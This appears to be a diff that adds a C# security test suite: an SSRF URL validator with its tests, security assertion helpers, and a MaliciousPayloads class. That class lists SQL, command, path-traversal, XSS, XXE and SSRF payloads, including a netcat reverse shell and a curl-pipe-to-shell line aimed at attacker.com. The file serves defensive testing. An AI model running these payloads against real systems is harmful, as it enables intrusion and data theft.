// Even if hostname looks external, resolved IP must be validated
|
||||
var externalLookingUrl = "http://attacker-controlled.example.com";
|
||||
|
||||
// Simulate DNS resolving to internal IP
|
||||
var resolvedIp = IPAddress.Parse("127.0.0.1");
|
||||
var isIpAllowed = validator.IsIpAllowed(resolvedIp);
|
||||
|
||||
isIpAllowed.Should().BeFalse("Resolved internal IP should be blocked even with external hostname");
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Should_Block_Redirects_To_Internal_URLs()
|
||||
{
|
||||
// Arrange
|
||||
var validator = new UrlValidator();
|
||||
var initialUrl = "https://attacker.com/redirect";
|
||||
var redirectTarget = "http://169.254.169.254/latest/meta-data/";
|
||||
|
||||
// Act - Check if redirect target is safe
|
||||
var isRedirectSafe = validator.IsUrlAllowed(redirectTarget);
|
||||
|
||||
// Assert
|
||||
isRedirectSafe.Should().BeFalse("Redirect to metadata endpoint should be blocked");
|
||||
}
|
||||
|
||||
[Theory]
|
||||
[InlineData("0x7f.0x0.0x0.0x1")] // Hex encoded localhost
|
||||
[InlineData("0177.0.0.1")] // Octal encoded localhost
|
||||
[InlineData("2130706433")] // Decimal encoded 127.0.0.1
|
||||
[InlineData("127.1")] // Short form localhost
|
||||
public void Should_Block_IP_Obfuscation_Attempts(string obfuscatedIp)
|
||||
{
|
||||
// Arrange
|
||||
var validator = new UrlValidator();
|
||||
var url = $"http://{obfuscatedIp}/";
|
||||
|
||||
// Act
|
||||
var isAllowed = validator.IsUrlAllowed(url);
|
||||
|
||||
// Assert
|
||||
isAllowed.Should().BeFalse($"Obfuscated IP '{obfuscatedIp}' should be blocked");
|
||||
}
|
||||
|
||||
public static TheoryData<string> GetInternalUrlPayloads()
|
||||
{
|
||||
var data = new TheoryData<string>();
|
||||
foreach (var url in MaliciousPayloads.Ssrf.InternalUrls)
|
||||
{
|
||||
data.Add(url);
|
||||
}
|
||||
return data;
|
||||
}
|
||||
|
||||
public static TheoryData<string> GetCloudMetadataPayloads()
|
||||
{
|
||||
var data = new TheoryData<string>();
|
||||
foreach (var url in MaliciousPayloads.Ssrf.CloudMetadata)
|
||||
{
|
||||
data.Add(url);
|
||||
}
|
||||
return data;
|
||||
}
|
||||
|
||||
public static TheoryData<string> GetBypassPayloads()
|
||||
{
|
||||
var data = new TheoryData<string>();
|
||||
foreach (var url in MaliciousPayloads.Ssrf.Bypass)
|
||||
{
|
||||
data.Add(url);
|
||||
}
|
||||
return data;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// URL validator for SSRF prevention.
|
||||
/// In production, this would be the actual URL validation service.
|
||||
/// </summary>
|
||||
file class UrlValidator
|
||||
{
|
||||
private readonly bool _allowlistMode;
|
||||
private readonly HashSet<string> _allowlist = new(StringComparer.OrdinalIgnoreCase);
|
||||
|
||||
private static readonly string[] BlockedHosts =
|
||||
[
|
||||
"localhost", "127.0.0.1", "::1", "0.0.0.0", "[::1]",
|
||||
"169.254.169.254", "metadata.google.internal"
|
||||
];
|
||||
|
||||
private static readonly string[] BlockedSchemes =
|
||||
[
|
||||
"file", "gopher", "dict", "ldap", "tftp"
|
||||
];
|
||||
|
||||
public UrlValidator(bool allowlistMode = false)
|
||||
{
|
||||
_allowlistMode = allowlistMode;
|
||||
}
|
||||
|
||||
public void AddToAllowlist(string host)
|
||||
{
|
||||
_allowlist.Add(host);
|
||||
}
|
||||
|
||||
public bool IsUrlAllowed(string url)
|
||||
{
|
||||
if (string.IsNullOrEmpty(url)) return false;
|
||||
|
||||
try
|
||||
{
|
||||
var uri = new Uri(url, UriKind.Absolute);
|
||||
|
||||
// Block dangerous schemes
|
||||
if (BlockedSchemes.Contains(uri.Scheme.ToLowerInvariant()))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
// Block known internal hosts
|
||||
if (BlockedHosts.Any(h => uri.Host.Equals(h, StringComparison.OrdinalIgnoreCase)))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
// Block private IP ranges
|
||||
if (IPAddress.TryParse(uri.Host, out var ip))
|
||||
{
|
||||
if (!IsIpAllowed(ip)) return false;
|
||||
}
|
||||
|
||||
// Check for IP obfuscation
|
||||
if (IsObfuscatedIp(uri.Host))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
// Check for metadata patterns
|
||||
if (uri.Host.Contains("metadata", StringComparison.OrdinalIgnoreCase) ||
|
||||
uri.Host.Contains("169.254", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
// In allowlist mode, only allow explicitly listed hosts
|
||||
if (_allowlistMode)
|
||||
{
|
||||
return _allowlist.Contains(uri.Host);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public bool IsIpAllowed(IPAddress ip)
|
||||
{
|
||||
var bytes = ip.GetAddressBytes();
|
||||
|
||||
if (bytes.Length == 4)
|
||||
{
|
||||
// Block loopback
|
||||
if (bytes[0] == 127) return false;
|
||||
// Block 10.0.0.0/8
|
||||
if (bytes[0] == 10) return false;
|
||||
// Block 172.16.0.0/12
|
||||
if (bytes[0] == 172 && bytes[1] >= 16 && bytes[1] <= 31) return false;
|
||||
// Block 192.168.0.0/16
|
||||
if (bytes[0] == 192 && bytes[1] == 168) return false;
|
||||
// Block link-local
|
||||
if (bytes[0] == 169 && bytes[1] == 254) return false;
|
||||
// Block 0.0.0.0
|
||||
if (bytes.All(b => b == 0)) return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
private static bool IsObfuscatedIp(string host)
|
||||
{
|
||||
// Check for hex notation
|
||||
if (host.StartsWith("0x", StringComparison.OrdinalIgnoreCase)) return true;
|
||||
|
||||
// Check for octal notation (leading zeros)
|
||||
if (host.StartsWith("0") && host.Contains('.') &&
|
||||
host.Split('.').Any(p => p.StartsWith('0') && p.Length > 1)) return true;
|
||||
|
||||
// Check for decimal notation (single large number)
|
||||
if (long.TryParse(host, out var decimalIp) && decimalIp > 0) return true;
|
||||
|
||||
// Check for short form
|
||||
if (host.Split('.').Length < 4 && host.Split('.').All(p => int.TryParse(p, out _))) return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,248 @@
|
||||
// =============================================================================
|
||||
// MaliciousPayloads.cs
|
||||
// Collection of malicious payloads for security testing
|
||||
// Reference: OWASP Testing Guide, PayloadsAllTheThings
|
||||
// =============================================================================
|
||||
|
||||
namespace StellaOps.Security.Tests.Infrastructure;
|
||||
|
||||
/// <summary>
|
||||
/// Malicious payloads for testing input validation and injection vulnerabilities.
|
||||
/// Organized by attack category for use in security tests.
|
||||
/// </summary>
|
||||
public static class MaliciousPayloads
|
||||
{
|
||||
/// <summary>
|
||||
/// SQL injection payloads for testing database query handling.
|
||||
/// </summary>
|
||||
public static class SqlInjection
|
||||
{
|
||||
public static readonly string[] Common =
|
||||
[
|
||||
"' OR '1'='1",
|
||||
"'; DROP TABLE users; --",
|
||||
"1' OR '1'='1' /*",
|
||||
"admin'--",
|
||||
"1; SELECT * FROM users",
|
||||
"' UNION SELECT * FROM users --",
|
||||
"1' AND '1'='1",
|
||||
"'; WAITFOR DELAY '0:0:5' --",
|
||||
"' OR 1=1 --",
|
||||
"'; EXEC xp_cmdshell('whoami'); --"
|
||||
];
|
||||
|
||||
public static readonly string[] Blind =
|
||||
[
|
||||
"1' AND SLEEP(5) --",
|
||||
"1' AND (SELECT COUNT(*) FROM users) > 0 --",
|
||||
"' OR IF(1=1, SLEEP(5), 0) --",
|
||||
"1; IF(1=1) WAITFOR DELAY '0:0:5' --"
|
||||
];
|
||||
|
||||
public static readonly string[] NoSql =
|
||||
[
|
||||
"{ \"$gt\": \"\" }",
|
||||
"{ \"$where\": \"this.password.length > 0\" }",
|
||||
"{ \"$regex\": \".*\" }",
|
||||
"'; return true; var x='",
|
||||
"{ \"$ne\": null }"
|
||||
];
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Command injection payloads for testing shell command handling.
|
||||
/// </summary>
|
||||
public static class CommandInjection
|
||||
{
|
||||
public static readonly string[] Unix =
|
||||
[
|
||||
"; cat /etc/passwd",
|
||||
"| ls -la",
|
||||
"`whoami`",
|
||||
"$(id)",
|
||||
"; nc -e /bin/sh attacker.com 4444",
|
||||
"& ping -c 5 attacker.com",
|
||||
"|| touch /tmp/pwned",
|
||||
"; curl http://attacker.com/shell.sh | sh"
|
||||
];
|
||||
|
||||
public static readonly string[] Windows =
|
||||
[
|
||||
"& dir",
|
||||
"| type C:\\Windows\\System32\\config\\SAM",
|
||||
"; net user",
|
||||
"& whoami",
|
||||
"| powershell -c \"Invoke-WebRequest -Uri http://attacker.com\"",
|
||||
"; cmd /c dir"
|
||||
];
|
||||
|
||||
public static readonly string[] Generic =
|
||||
[
|
||||
";",
|
||||
"|",
|
||||
"&",
|
||||
"&&",
|
||||
"||",
|
||||
"\n",
|
||||
"\r\n",
|
||||
"`",
|
||||
"$(",
|
||||
"#{",
|
||||
"%0a"
|
||||
];
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Path traversal payloads for testing file system access.
|
||||
/// </summary>
|
||||
public static class PathTraversal
|
||||
{
|
||||
public static readonly string[] Common =
|
||||
[
|
||||
"../../../etc/passwd",
|
||||
"..\\..\\..\\Windows\\System32\\config\\SAM",
|
||||
"....//....//....//etc/passwd",
|
||||
"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd",
|
||||
"..%252f..%252f..%252fetc/passwd",
|
||||
"/etc/passwd%00.jpg",
|
||||
"....\\\\....\\\\....\\\\Windows\\System32\\drivers\\etc\\hosts"
|
||||
];
|
||||
|
||||
public static readonly string[] Null =
|
||||
[
|
||||
"../../../etc/passwd%00",
|
||||
"..\\..\\..\\boot.ini%00",
|
||||
"%00../../../etc/passwd"
|
||||
];
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// XSS payloads for testing cross-site scripting vulnerabilities.
|
||||
/// </summary>
|
||||
public static class Xss
|
||||
{
|
||||
public static readonly string[] Script =
|
||||
[
|
||||
"<script>alert('XSS')</script>",
|
||||
"<img src=x onerror=alert('XSS')>",
|
||||
"<svg/onload=alert('XSS')>",
|
||||
"javascript:alert('XSS')",
|
||||
"<body onload=alert('XSS')>",
|
||||
"<iframe src=\"javascript:alert('XSS')\">",
|
||||
"'><script>alert('XSS')</script>",
|
||||
"\"><script>alert('XSS')</script>"
|
||||
];
|
||||
|
||||
public static readonly string[] Encoded =
|
||||
[
|
||||
"%3Cscript%3Ealert('XSS')%3C/script%3E",
|
||||
"<script>alert('XSS')</script>",
|
||||
"\\u003cscript\\u003ealert('XSS')\\u003c/script\\u003e"
|
||||
];
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// SSRF payloads for testing server-side request forgery.
|
||||
/// </summary>
|
||||
public static class Ssrf
|
||||
{
|
||||
public static readonly string[] InternalUrls =
|
||||
[
|
||||
"http://127.0.0.1",
|
||||
"http://localhost",
|
||||
"http://0.0.0.0",
|
||||
"http://[::1]",
|
||||
"http://169.254.169.254/latest/meta-data/",
|
||||
"http://metadata.google.internal/",
|
||||
"http://192.168.1.1",
|
||||
"http://10.0.0.1",
|
||||
"file:///etc/passwd"
|
||||
];
|
||||
|
||||
public static readonly string[] Bypass =
|
||||
[
|
||||
"http://127.0.0.1.nip.io",
|
||||
"http://0x7f000001",
|
||||
"http://2130706433",
|
||||
"http://0177.0.0.1",
|
||||
"http://127.1",
|
||||
"http://spoofed.burpcollaborator.net"
|
||||
];
|
||||
|
||||
public static readonly string[] CloudMetadata =
|
||||
[
|
||||
"http://169.254.169.254/latest/meta-data/iam/security-credentials/",
|
||||
"http://metadata.google.internal/computeMetadata/v1/",
|
||||
"http://169.254.169.254/metadata/instance?api-version=2021-02-01"
|
||||
];
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Header injection payloads for testing HTTP header handling.
|
||||
/// </summary>
|
||||
public static class HeaderInjection
|
||||
{
|
||||
public static readonly string[] Common =
|
||||
[
|
||||
"value\r\nX-Injected: header",
|
||||
"value%0d%0aX-Injected: header",
|
||||
"value\nSet-Cookie: malicious=true",
|
||||
"value\r\n\r\n<html>injected</html>"
|
||||
];
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// LDAP injection payloads for testing LDAP query handling.
|
||||
/// </summary>
|
||||
public static class LdapInjection
|
||||
{
|
||||
public static readonly string[] Common =
|
||||
[
|
||||
"*",
|
||||
"*)(&",
|
||||
"*)(uid=*))(|(uid=*",
|
||||
"admin)(&)",
|
||||
"x)(|(cn=*)"
|
||||
];
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// XML injection payloads (XXE) for testing XML parsing.
|
||||
/// </summary>
|
||||
public static class XxeInjection
|
||||
{
|
||||
public static readonly string[] Common =
|
||||
[
|
||||
"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><foo>&xxe;</foo>",
|
||||
"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://attacker.com/\">]><foo>&xxe;</foo>",
|
||||
"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM \"http://attacker.com/xxe.dtd\">%xxe;]>"
|
||||
];
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Template injection payloads for testing template engines.
|
||||
/// </summary>
|
||||
public static class TemplateInjection
|
||||
{
|
||||
public static readonly string[] Common =
|
||||
[
|
||||
"{{7*7}}",
|
||||
"${7*7}",
|
||||
"<%= 7*7 %>",
|
||||
"#{7*7}",
|
||||
"*{7*7}",
|
||||
"@(7*7)",
|
||||
"{{constructor.constructor('return this')()}}"
|
||||
];
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// JWT-related attack payloads for testing token handling.
|
||||
/// </summary>
|
||||
public static class JwtAttacks
|
||||
{
|
||||
public const string NoneAlgorithm = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.";
|
||||
public const string EmptySignature = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.";
|
||||
public const string AlgorithmConfusion = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9"; // Would need key confusion attack
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,171 @@
|
||||
// =============================================================================
|
||||
// SecurityAssertions.cs
|
||||
// Security-specific assertion helpers for testing
|
||||
// =============================================================================
|
||||
|
||||
using FluentAssertions;
|
||||
using System.Net;
|
||||
using System.Text.RegularExpressions;
|
||||
|
||||
namespace StellaOps.Security.Tests.Infrastructure;
|
||||
|
||||
/// <summary>
|
||||
/// Security-specific assertion methods for common security test patterns.
|
||||
/// </summary>
|
||||
public static partial class SecurityAssertions
|
||||
{
|
||||
/// <summary>
|
||||
/// Assert that a URL is safe (not an internal/metadata endpoint).
|
||||
/// </summary>
|
||||
public static void AssertUrlIsSafe(string url)
|
||||
{
|
||||
var uri = new Uri(url, UriKind.RelativeOrAbsolute);
|
||||
|
||||
if (!uri.IsAbsoluteUri) return;
|
||||
|
||||
// Check for localhost/loopback
|
||||
uri.Host.Should().NotBe("localhost", "URL should not point to localhost");
|
||||
uri.Host.Should().NotBe("127.0.0.1", "URL should not point to loopback");
|
||||
uri.Host.Should().NotBe("::1", "URL should not point to IPv6 loopback");
|
||||
uri.Host.Should().NotBe("0.0.0.0", "URL should not point to all interfaces");
|
||||
|
||||
// Check for metadata endpoints
|
||||
uri.Host.Should().NotBe("169.254.169.254", "URL should not point to cloud metadata");
|
||||
uri.Host.Should().NotContain("metadata.google.internal", "URL should not point to GCP metadata");
|
||||
|
||||
// Check for private IP ranges
|
||||
if (IPAddress.TryParse(uri.Host, out var ip))
|
||||
{
|
||||
IsPrivateIp(ip).Should().BeFalse("URL should not point to private IP addresses");
|
||||
}
|
||||
|
||||
// Check for file:// scheme
|
||||
uri.Scheme.Should().NotBe("file", "URL should not use file:// scheme");
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Assert that a path does not contain traversal sequences.
|
||||
/// </summary>
|
||||
public static void AssertNoPathTraversal(string path)
|
||||
{
|
||||
path.Should().NotContain("..", "Path should not contain traversal sequences");
|
||||
path.Should().NotContain("%2e%2e", "Path should not contain encoded traversal");
|
||||
path.Should().NotContain("%252e", "Path should not contain double-encoded traversal");
|
||||
path.Should().NotContain("\0", "Path should not contain null bytes");
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Assert that content is properly escaped for HTML context.
|
||||
/// </summary>
|
||||
public static void AssertHtmlEscaped(string content, string originalInput)
|
||||
{
|
||||
if (originalInput.Contains('<'))
|
||||
{
|
||||
content.Should().NotContain("<script", "Content should have escaped script tags");
|
||||
content.Should().NotContain("<img", "Content should have escaped img tags");
|
||||
content.Should().NotContain("<svg", "Content should have escaped svg tags");
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Assert that a command string is safe from injection.
|
||||
/// </summary>
|
||||
public static void AssertCommandSafe(string command)
|
||||
{
|
||||
var dangerousChars = new[] { ";", "|", "&", "`", "$(" };
|
||||
foreach (var c in dangerousChars)
|
||||
{
|
||||
command.Should().NotContain(c, $"Command should not contain dangerous character: {c}");
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Assert that an HTTP response indicates proper authorization failure.
|
||||
/// </summary>
|
||||
public static void AssertProperAuthorizationDenial(HttpStatusCode statusCode)
|
||||
{
|
||||
statusCode.Should().BeOneOf(
|
||||
HttpStatusCode.Unauthorized,
|
||||
HttpStatusCode.Forbidden,
|
||||
"Response should properly deny unauthorized access");
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Assert that no SQL injection was successful (result should not contain injected data).
|
||||
/// </summary>
|
||||
public static void AssertNoSqlInjectionSuccess(string response)
|
||||
{
|
||||
// Check for common signs that injection succeeded
|
||||
response.Should().NotMatchRegex(SqlPatternSuccess(),
|
||||
"Response should not indicate successful SQL injection");
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Assert that cryptographic parameters meet minimum strength requirements.
|
||||
/// </summary>
|
||||
public static void AssertCryptographicStrength(int keyBits, string algorithm)
|
||||
{
|
||||
algorithm.ToUpperInvariant().Should().NotBe("MD5", "MD5 should not be used for security");
|
||||
algorithm.ToUpperInvariant().Should().NotBe("SHA1", "SHA1 should not be used for security");
|
||||
|
||||
if (algorithm.Contains("RSA", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
keyBits.Should().BeGreaterOrEqualTo(2048, "RSA keys should be at least 2048 bits");
|
||||
}
|
||||
else if (algorithm.Contains("AES", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
keyBits.Should().BeGreaterOrEqualTo(128, "AES keys should be at least 128 bits");
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Assert that a JWT token has proper structure and is not tampered with.
|
||||
/// </summary>
|
||||
public static void AssertJwtNotTampered(string token)
|
||||
{
|
||||
var parts = token.Split('.');
|
||||
parts.Length.Should().Be(3, "JWT should have three parts");
|
||||
parts[2].Should().NotBeEmpty("JWT signature should not be empty");
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Assert that headers do not contain injected values.
|
||||
/// </summary>
|
||||
public static void AssertNoHeaderInjection(IDictionary<string, string> headers)
|
||||
{
|
||||
foreach (var header in headers)
|
||||
{
|
||||
header.Key.Should().NotContain("\r", "Header name should not contain CR");
|
||||
header.Key.Should().NotContain("\n", "Header name should not contain LF");
|
||||
header.Value.Should().NotContain("\r\n", "Header value should not contain CRLF");
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Check if an IP address is in a private range.
|
||||
/// </summary>
|
||||
private static bool IsPrivateIp(IPAddress ip)
|
||||
{
|
||||
var bytes = ip.GetAddressBytes();
|
||||
|
||||
// IPv4 private ranges
|
||||
if (bytes.Length == 4)
|
||||
{
|
||||
// 10.0.0.0/8
|
||||
if (bytes[0] == 10) return true;
|
||||
// 172.16.0.0/12
|
||||
if (bytes[0] == 172 && bytes[1] >= 16 && bytes[1] <= 31) return true;
|
||||
// 192.168.0.0/16
|
||||
if (bytes[0] == 192 && bytes[1] == 168) return true;
|
||||
// 127.0.0.0/8 (loopback)
|
||||
if (bytes[0] == 127) return true;
|
||||
// 169.254.0.0/16 (link-local)
|
||||
if (bytes[0] == 169 && bytes[1] == 254) return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
[GeneratedRegex(@"(syntax error|mysql|postgresql|sqlite|ora-\d{5}|sql server)", RegexOptions.IgnoreCase)]
|
||||
private static partial Regex SqlPatternSuccess();
|
||||
}
|
||||
@@ -0,0 +1,128 @@
|
||||
// =============================================================================
|
||||
// SecurityTestBase.cs
|
||||
// Base class for all security tests providing common infrastructure
|
||||
// =============================================================================
|
||||
|
||||
using FluentAssertions;
|
||||
using Microsoft.Extensions.Logging;
|
||||
using Moq;
|
||||
|
||||
namespace StellaOps.Security.Tests.Infrastructure;
|
||||
|
||||
/// <summary>
|
||||
/// Base class for OWASP-category security tests.
|
||||
/// Provides common test infrastructure, mocking utilities, and security assertions.
|
||||
/// </summary>
|
||||
[Trait("Category", "Security")]
|
||||
public abstract class SecurityTestBase : IDisposable
|
||||
{
|
||||
protected readonly Mock<ILogger> LoggerMock;
|
||||
protected readonly CancellationToken TestCancellation;
|
||||
private readonly CancellationTokenSource _cts;
|
||||
|
||||
protected SecurityTestBase()
|
||||
{
|
||||
LoggerMock = new Mock<ILogger>();
|
||||
_cts = new CancellationTokenSource(TimeSpan.FromSeconds(30));
|
||||
TestCancellation = _cts.Token;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Assert that an action throws a security-related exception.
|
||||
/// </summary>
|
||||
protected static void AssertSecurityException<TException>(Action action, string? expectedMessage = null)
|
||||
where TException : Exception
|
||||
{
|
||||
var exception = Assert.Throws<TException>(action);
|
||||
if (expectedMessage != null)
|
||||
{
|
||||
exception.Message.Should().Contain(expectedMessage);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Assert that an async action throws a security-related exception.
|
||||
/// </summary>
|
||||
protected static async Task AssertSecurityExceptionAsync<TException>(Func<Task> action, string? expectedMessage = null)
|
||||
where TException : Exception
|
||||
{
|
||||
var exception = await Assert.ThrowsAsync<TException>(action);
|
||||
if (expectedMessage != null)
|
||||
{
|
||||
exception.Message.Should().Contain(expectedMessage);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Assert that the logger was called with a security warning.
|
||||
/// </summary>
|
||||
protected void AssertSecurityWarningLogged(string expectedMessage)
|
||||
{
|
||||
LoggerMock.Verify(
|
||||
x => x.Log(
|
||||
LogLevel.Warning,
|
||||
It.IsAny<EventId>(),
|
||||
It.Is<It.IsAnyType>((v, t) => v.ToString()!.Contains(expectedMessage)),
|
||||
It.IsAny<Exception?>(),
|
||||
It.IsAny<Func<It.IsAnyType, Exception?, string>>()),
|
||||
Times.AtLeastOnce);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Assert that no sensitive data is present in the response.
|
||||
/// </summary>
|
||||
protected static void AssertNoSensitiveDataLeakage(string content)
|
||||
{
|
||||
var sensitivePatterns = new[]
|
||||
{
|
||||
"password",
|
||||
"secret",
|
||||
"api_key",
|
||||
"apikey",
|
||||
"private_key",
|
||||
"token",
|
||||
"bearer",
|
||||
"authorization"
|
||||
};
|
||||
|
||||
foreach (var pattern in sensitivePatterns)
|
||||
{
|
||||
// Case-insensitive check for sensitive patterns in unexpected places
|
||||
content.ToLowerInvariant().Should().NotContain(pattern,
|
||||
$"Response should not contain sensitive data pattern: {pattern}");
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Generate a random tenant ID for isolation.
|
||||
/// </summary>
|
||||
protected static Guid GenerateTestTenantId() => Guid.NewGuid();
|
||||
|
||||
/// <summary>
|
||||
/// Generate a random user ID for isolation.
|
||||
/// </summary>
|
||||
protected static Guid GenerateTestUserId() => Guid.NewGuid();
|
||||
|
||||
public virtual void Dispose()
|
||||
{
|
||||
_cts.Cancel();
|
||||
_cts.Dispose();
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Trait for categorizing tests by OWASP category.
|
||||
/// </summary>
|
||||
[AttributeUsage(AttributeTargets.Class | AttributeTargets.Method)]
|
||||
public class OwaspCategoryAttribute : Attribute
|
||||
{
|
||||
public string Category { get; }
|
||||
public string Description { get; }
|
||||
|
||||
public OwaspCategoryAttribute(string category, string description)
|
||||
{
|
||||
Category = category;
|
||||
Description = description;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
<Project Sdk="Microsoft.NET.Sdk">
|
||||
|
||||
<PropertyGroup>
|
||||
<TargetFramework>net10.0</TargetFramework>
|
||||
<ImplicitUsings>enable</ImplicitUsings>
|
||||
<Nullable>enable</Nullable>
|
||||
<IsPackable>false</IsPackable>
|
||||
<IsTestProject>true</IsTestProject>
|
||||
<RootNamespace>StellaOps.Security.Tests</RootNamespace>
|
||||
</PropertyGroup>
|
||||
|
||||
<ItemGroup>
|
||||
<PackageReference Include="Microsoft.NET.Test.Sdk" Version="17.12.0" />
|
||||
<PackageReference Include="xunit" Version="2.9.3" />
|
||||
<PackageReference Include="xunit.runner.visualstudio" Version="3.0.2">
|
||||
<IncludeAssets>runtime; build; native; contentfiles; analyzers; buildtransitive</IncludeAssets>
|
||||
<PrivateAssets>all</PrivateAssets>
|
||||
</PackageReference>
|
||||
<PackageReference Include="coverlet.collector" Version="6.0.4">
|
||||
<IncludeAssets>runtime; build; native; contentfiles; analyzers; buildtransitive</IncludeAssets>
|
||||
<PrivateAssets>all</PrivateAssets>
|
||||
</PackageReference>
|
||||
<PackageReference Include="Moq" Version="4.20.72" />
|
||||
<PackageReference Include="FluentAssertions" Version="7.0.0" />
|
||||
<PackageReference Include="Microsoft.AspNetCore.Mvc.Testing" Version="10.0.0-preview.1.24589.17" />
|
||||
</ItemGroup>
|
||||
|
||||
<ItemGroup>
|
||||
<!-- Add references to modules being tested as needed -->
|
||||
</ItemGroup>
|
||||
|
||||
</Project>
|
||||
Reference in New Issue
Block a user